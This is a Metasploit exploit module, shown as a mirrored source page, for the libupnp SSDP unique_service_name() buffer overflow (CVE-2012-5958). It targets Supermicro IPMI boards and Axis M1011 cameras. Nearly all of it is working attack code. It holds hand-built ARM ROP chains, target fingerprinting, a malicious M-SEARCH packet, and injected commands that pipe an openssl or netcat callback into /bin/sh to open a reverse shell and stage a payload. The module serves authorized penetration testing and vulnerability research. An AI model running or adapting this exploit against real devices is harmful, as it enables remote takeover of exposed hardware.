CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
def initialize(info = {})
10
super(update_info(info,
11
'Name' => 'Portable UPnP SDK unique_service_name() Remote Code Execution',
12
'Description' => %q{
13
This module exploits a buffer overflow in the unique_service_name()
14
function of libupnp's SSDP processor. The libupnp library is used across
15
thousands of devices and is referred to as the Intel SDK for UPnP
16
Devices or the Portable SDK for UPnP Devices.
17
18
Due to size limitations on many devices, this exploit uses a separate TCP
19
listener to stage the real payload.
20
},
21
'Author' => [
22
'hdm', # Exploit dev for Supermicro IPMI
23
'Alex Eubanks <endeavor[at]rainbowsandpwnies.com>', # Exploit dev for Supermicro IPMI
24
'Richard Harman <richard[at]richardharman.com>', # Binaries, system info, testing for Supermicro IPMI
25
'Frederic Basse <contact[at]fredericb.info>' # Exploit dev for Axis Camera M1011
26
],
27
'License' => MSF_LICENSE,
28
'References' =>
29
[
30
[ 'CVE', '2012-5958' ],
31
[ 'OSVDB', '89611' ],
32
[ 'US-CERT-VU', '922681' ],
33
[ 'URL', 'https://www.rapid7.com/blog/post/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ]
34
],
35
'Platform' => ['unix'],
36
'Arch' => ARCH_CMD,
37
'Privileged' => true,
38
'DefaultOptions' => { 'WfsDelay' => 10 },
39
'Payload' =>
40
{
41
#
42
# # The following BadChars do not apply since we stage the payload
43
# # through a secondary connection. This is just for reference.
44
#
45
# 'BadChars' =>
46
# # Bytes 0-8 are not allowed
47
# [*(0..8)].pack("C*") +
48
# # 0x09, 0x0a, 0x0d are allowed
49
# "\x0b\x0c\x0e\x0f" +
50
# # All remaining bytes up to space are restricted
51
# [*(0x10..0x1f)].pack("C*") +
52
# # Also not allowed
53
# "\x7f\x3a" +
54
# # Breaks our string quoting
55
# "\x22",
56
57
# Unlimited since we stage this over a secondary connection
58
'Space' => 8000,
59
'DisableNops' => true,
60
'Compat' =>
61
{
62
'PayloadType' => 'cmd',
63
# specific payloads vary widely by device (openssl for IPMI, etc)
64
}
65
},
66
'Targets' =>
67
[
68
69
[ "Automatic", { } ],
70
71
#
72
# ROP targets are difficult to represent in the hash, use callbacks instead
73
#
74
[ "Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", {
75
76
# The callback handles all target-specific settings
77
:callback => :target_supermicro_ipmi_131,
78
79
# This matches any line of the SSDP M-SEARCH response
80
:fingerprint =>
81
/Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3,? UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi
82
#
83
# SSDP response:
84
# Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1
85
# http://192.168.xx.xx:49152/IPMIdevicedesc.xml
86
# uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice
87
88
# Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03)
89
90
} ],
91
[ "Axis Camera M1011 5.20.1 UPnP/1.4.1", {
92
93
# The callback handles all target-specific settings
94
:callback => :target_axis_m1011_141,
95
96
# This fingerprint may not be specific enough to be used automatically.
97
#:fingerprint =>
98
# /SERVER:\s*Linux\/2\.6\.31, UPnP\/1\.0, Portable SDK for UPnP devices\/1\.4\.1/mi
99
#
100
# SSDP response:
101
# Linux/2.6.31, UPnP/1.0, Portable SDK for UPnP devices/1.4.1
102
# http://192.168.xx.xx:49152/rootdesc1.xml
103
# uuuid:Upnp-BasicDevice-1_0-00123456789A::upnp:rootdevice
104
105
} ],
106
107
[ "Debug Target", {
108
109
# The callback handles all target-specific settings
110
:callback => :target_debug
111
112
} ]
113
114
],
115
'DefaultTarget' => 0,
116
'DisclosureDate' => '2013-01-29'))
117
118
register_options(
119
[
120
Opt::RHOST(),
121
Opt::RPORT(1900),
122
OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]),
123
OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ])
124
])
125
end
126
127
128
def exploit
129
130
configure_socket
131
132
target_info = choose_target
133
134
unless self.respond_to?(target_info[:callback])
135
print_error("Invalid target specified: no callback function defined")
136
return
137
end
138
139
buffer = self.send(target_info[:callback])
140
pkt =
141
"M-SEARCH * HTTP/1.1\r\n" +
142
"Host:239.255.255.250:1900\r\n" +
143
"ST:uuid:schemas:device:" + buffer + ":end\r\n" +
144
"Man:\"ssdp:discover\"\r\n" +
145
"MX:3\r\n\r\n"
146
147
print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...")
148
149
udp_sock.sendto(pkt, rhost, rport, 0)
150
151
1.upto(5) do
152
::IO.select(nil, nil, nil, 1)
153
break if session_created?
154
end
155
156
# No handler() support right now
157
end
158
159
160
161
# These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc
162
def target_supermicro_ipmi_131
163
164
# Create a fixed-size buffer for the payload
165
buffer = Rex::Text.rand_text_alpha(2000)
166
167
# Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()
168
buffer[0,1] = '"'
169
buffer[1999,1] = '"'
170
171
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
172
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
173
174
# Start a listener
175
start_listener(true)
176
177
# Figure out the port we picked
178
cbport = self.service.getsockname[2]
179
180
# Restart the service and use openssl to stage the real payload
181
# Staged because only ~150 bytes of contiguous data are available before mangling
182
cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#"
183
buffer[432, cmd.length] = cmd
184
185
# Adjust $r3 to point from the bottom of the stack back into our buffer
186
buffer[304,4] = [0x4009daf8].pack("V") #
187
# 0x4009daf8: add r3, r3, r4, lsl #2
188
# 0x4009dafc: ldr r0, [r3, #512] ; 0x200
189
# 0x4009db00: pop {r4, r10, pc}
190
191
# The offset (right-shifted by 2 ) to our command string above
192
buffer[284,4] = [0xfffffe78].pack("V") #
193
194
# Copy $r3 into $r0
195
buffer[316,4] = [0x400db0ac].pack("V")
196
# 0x400db0ac <_IO_wfile_underflow+1184>: sub r0, r3, #1
197
# 0x400db0b0 <_IO_wfile_underflow+1188>: pop {pc} ; (ldr pc, [sp], #4)
198
199
# Move our stack pointer down so as not to corrupt our payload
200
buffer[320,4] = [0x400a5568].pack("V")
201
# 0x400a5568 <__default_rt_sa_restorer_v2+5448>: add sp, sp, #408 ; 0x198
202
# 0x400a556c <__default_rt_sa_restorer_v2+5452>: pop {r4, r5, pc}
203
204
# Finally return to system() with $r0 pointing to our string
205
buffer[141,4] = [0x400add8c].pack("V")
206
207
return buffer
208
=begin
209
00008000-00029000 r-xp 00000000 08:01 709233 /bin/upnp_dev
210
00031000-00032000 rwxp 00021000 08:01 709233 /bin/upnp_dev
211
00032000-00055000 rwxp 00000000 00:00 0 [heap]
212
40000000-40015000 r-xp 00000000 08:01 709562 /lib/ld-2.3.5.so
213
40015000-40017000 rwxp 00000000 00:00 0
214
4001c000-4001d000 r-xp 00014000 08:01 709562 /lib/ld-2.3.5.so
215
4001d000-4001e000 rwxp 00015000 08:01 709562 /lib/ld-2.3.5.so
216
4001e000-4002d000 r-xp 00000000 08:01 709535 /lib/libpthread-0.10.so
217
4002d000-40034000 ---p 0000f000 08:01 709535 /lib/libpthread-0.10.so
218
40034000-40035000 r-xp 0000e000 08:01 709535 /lib/libpthread-0.10.so
219
40035000-40036000 rwxp 0000f000 08:01 709535 /lib/libpthread-0.10.so
220
40036000-40078000 rwxp 00000000 00:00 0
221
40078000-40180000 r-xp 00000000 08:01 709620 /lib/libc-2.3.5.so
222
40180000-40182000 r-xp 00108000 08:01 709620 /lib/libc-2.3.5.so
223
40182000-40185000 rwxp 0010a000 08:01 709620 /lib/libc-2.3.5.so
224
40185000-40187000 rwxp 00000000 00:00 0
225
bd600000-bd601000 ---p 00000000 00:00 0
226
bd601000-bd800000 rwxp 00000000 00:00 0
227
bd800000-bd801000 ---p 00000000 00:00 0
228
bd801000-bda00000 rwxp 00000000 00:00 0
229
bdc00000-bdc01000 ---p 00000000 00:00 0
230
bdc01000-bde00000 rwxp 00000000 00:00 0
231
be000000-be001000 ---p 00000000 00:00 0
232
be001000-be200000 rwxp 00000000 00:00 0
233
be941000-be956000 rwxp 00000000 00:00 0 [stack]
234
=end
235
236
end
237
238
# These devices are armv5tejl, run version 1.4.1 of libupnp, have random stacks, but no PIE on libc
239
def target_axis_m1011_141
240
241
# Create a fixed-size buffer for the payload
242
buffer = Rex::Text.rand_text_alpha(2000)
243
244
# Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()
245
buffer[0,1] = '"'
246
buffer[1999,1] = '"'
247
248
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
249
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
250
251
# Start a listener
252
start_listener()
253
254
# Figure out the port we picked
255
cbport = self.service.getsockname[2]
256
257
# Initiate a callback connection
258
cmd = "sleep 1; /usr/bin/nc #{cbhost} #{cbport}|/bin/sh;exit;#"
259
buffer[1, cmd.length] = cmd
260
261
# Mask to avoid forbidden bytes, popped into $r4
262
buffer[284,4] = [0x0D0D0D0D].pack("V")
263
264
# Move $r4 to $r0
265
buffer[304,4] = [0x40093848].pack("V")
266
#MEMORY:40093848 MOV R0, R4
267
#MEMORY:4009384C LDMFD SP!, {R4,PC}
268
269
# Masked system() address (0x32FB9D83 + 0x0D0D0D0D = 0x4008AA90), popped into $r4
270
buffer[308,4] = [0x32FB9D83].pack("V")
271
272
# Set $r0 to system() address : $r0 = $r4 + $r0
273
buffer[312,4] = [0x40093844].pack("V")
274
#MEMORY:40093844 ADD R4, R4, R0
275
#MEMORY:40093848 MOV R0, R4
276
#MEMORY:4009384C LDMFD SP!, {R4,PC}
277
278
# Move $r0 to $r3 : system() address
279
buffer[320,4] = [0x400D65BC].pack("V")
280
#MEMORY:400D65BC MOV R3, R0
281
#MEMORY:400D65C0 MOV R0, R3
282
#MEMORY:400D65C4 ADD SP, SP, #0x10
283
#MEMORY:400D65C8 LDMFD SP!, {R4,PC}
284
285
# Move $r2 to $r0 : offset to buffer[-1]
286
buffer[344,4] = [0x400ADCDC].pack("V")
287
#MEMORY:400ADCDC MOV R0, R2
288
#MEMORY:400ADCE0 ADD SP, SP, #8
289
#MEMORY:400ADCE4 LDMFD SP!, {R4-R8,PC}
290
291
# Negative offset to command str($r0 + 0xFFFFFEB2 = buffer[1]), popped into R4
292
buffer[356,4] = [0xFFFFFEB2].pack("V")
293
294
# Set $r0 to command str offset : $r0 = $r4 + $r0
295
buffer[376,4] = [0x40093844].pack("V")
296
#MEMORY:40093844 ADD R4, R4, R0
297
#MEMORY:40093848 MOV R0, R4
298
#MEMORY:4009384C LDMFD SP!, {R4,PC}
299
300
# Jump to system() function
301
buffer[384,4] = [0x4009FEA4].pack("V")
302
#MEMORY:4009FEA4 MOV PC, R3
303
304
return buffer
305
=begin
306
00008000-0002b000 r-xp 00000000 1f:03 62 /bin/libupnp
307
00032000-00033000 rwxp 00022000 1f:03 62 /bin/libupnp
308
00033000-00055000 rwxp 00000000 00:00 0 [heap]
309
40000000-4001d000 r-xp 00000000 1f:03 235 /lib/ld-2.9.so
310
4001d000-4001f000 rwxp 00000000 00:00 0
311
40024000-40025000 r-xp 0001c000 1f:03 235 /lib/ld-2.9.so
312
40025000-40026000 rwxp 0001d000 1f:03 235 /lib/ld-2.9.so
313
40026000-4002e000 r-xp 00000000 1f:03 262 /lib/libparhand.so
314
4002e000-40035000 ---p 00008000 1f:03 262 /lib/libparhand.so
315
40035000-40036000 rwxp 00007000 1f:03 262 /lib/libparhand.so
316
40036000-4004a000 r-xp 00000000 1f:03 263 /lib/libpthread-2.9.so
317
4004a000-40051000 ---p 00014000 1f:03 263 /lib/libpthread-2.9.so
318
40051000-40052000 r-xp 00013000 1f:03 263 /lib/libpthread-2.9.so
319
40052000-40053000 rwxp 00014000 1f:03 263 /lib/libpthread-2.9.so
320
40053000-40055000 rwxp 00000000 00:00 0
321
40055000-4016c000 r-xp 00000000 1f:03 239 /lib/libc-2.9.so
322
4016c000-40173000 ---p 00117000 1f:03 239 /lib/libc-2.9.so
323
40173000-40175000 r-xp 00116000 1f:03 239 /lib/libc-2.9.so
324
40175000-40176000 rwxp 00118000 1f:03 239 /lib/libc-2.9.so
325
40176000-40179000 rwxp 00000000 00:00 0
326
40179000-4017a000 ---p 00000000 00:00 0
327
4017a000-40979000 rwxp 00000000 00:00 0
328
40979000-4097a000 ---p 00000000 00:00 0
329
4097a000-41179000 rwxp 00000000 00:00 0
330
41179000-4117a000 ---p 00000000 00:00 0
331
4117a000-41979000 rwxp 00000000 00:00 0
332
41979000-4197a000 ---p 00000000 00:00 0
333
4197a000-42179000 rwxp 00000000 00:00 0
334
42179000-4217a000 ---p 00000000 00:00 0
335
4217a000-42979000 rwxp 00000000 00:00 0
336
42979000-4297a000 ---p 00000000 00:00 0
337
4297a000-43179000 rwxp 00000000 00:00 0
338
bef4d000-bef62000 rw-p 00000000 00:00 0 [stack]
339
=end
340
341
end
342
343
# Generate a buffer that provides a starting point for exploit development
344
def target_debug
345
Rex::Text.pattern_create(2000)
346
end
347
348
def stage_real_payload(cli)
349
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
350
cli.put(payload.encoded + "\n")
351
end
352
353
def start_listener(ssl = false)
354
355
comm = datastore['ListenerComm']
356
if comm == "local"
357
comm = ::Rex::Socket::Comm::Local
358
else
359
comm = nil
360
end
361
362
self.service = Rex::Socket::TcpServer.create(
363
'LocalPort' => datastore['CBPORT'],
364
'SSL' => ssl,
365
'SSLCert' => datastore['SSLCert'],
366
'Comm' => comm,
367
'Context' =>
368
{
369
'Msf' => framework,
370
'MsfExploit' => self,
371
})
372
373
self.service.on_client_connect_proc = Proc.new { |client|
374
stage_real_payload(client)
375
}
376
377
# Start the listening service
378
self.service.start
379
end
380
381
#
382
# Shut down any running services
383
#
384
def cleanup
385
super
386
if self.service
387
print_status("Shutting down payload stager listener...")
388
begin
389
self.service.deref if self.service.kind_of?(Rex::Service)
390
if self.service.kind_of?(Rex::Socket)
391
self.service.close
392
self.service.stop
393
end
394
self.service = nil
395
rescue ::Exception
396
end
397
end
398
end
399
400
def choose_target
401
# If the user specified a target, use that one
402
return self.target unless self.target.name =~ /Automatic/
403
404
msearch =
405
"M-SEARCH * HTTP/1.1\r\n" +
406
"Host:239.255.255.250:1900\r\n" +
407
"ST:upnp:rootdevice\r\n" +
408
"Man:\"ssdp:discover\"\r\n" +
409
"MX:3\r\n\r\n"
410
411
# Fingerprint the service through SSDP
412
udp_sock.sendto(msearch, rhost, rport, 0)
413
414
res = nil
415
1.upto(5) do
416
res,_,_ = udp_sock.recvfrom(65535, 1.0)
417
break if res and res =~ /^(Server|Location)/mi
418
udp_sock.sendto(msearch, rhost, rport, 0)
419
end
420
421
self.targets.each do |t|
422
return t if t[:fingerprint] and res =~ t[:fingerprint]
423
end
424
425
if res and res.to_s.length > 0
426
print_status("No target matches this fingerprint")
427
print_status("")
428
res.to_s.split("\n").each do |line|
429
print_status(" #{line.strip}")
430
end
431
print_status("")
432
else
433
print_status("The system #{rhost} did not reply to our M-SEARCH probe")
434
end
435
436
fail_with(Failure::NoTarget, "No compatible target detected")
437
end
438
439
# Accessor for our TCP payload stager
440
attr_accessor :service
441
442
# We need an unconnected socket because SSDP replies often come
443
# from a different sent port than the one we sent to. This also
444
# breaks the standard UDP mixin.
445
def configure_socket
446
self.udp_sock = Rex::Socket::Udp.create({
447
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
448
})
449
add_socket(self.udp_sock)
450
end
451
452
#
453
# Required since we aren't using the normal mixins
454
#
455
456
def rhost
457
datastore['RHOST']
458
end
459
460
def rport
461
datastore['RPORT']
462
end
463
464
# Accessor for our UDP socket
465
attr_accessor :udp_sock
466
467
end
468
469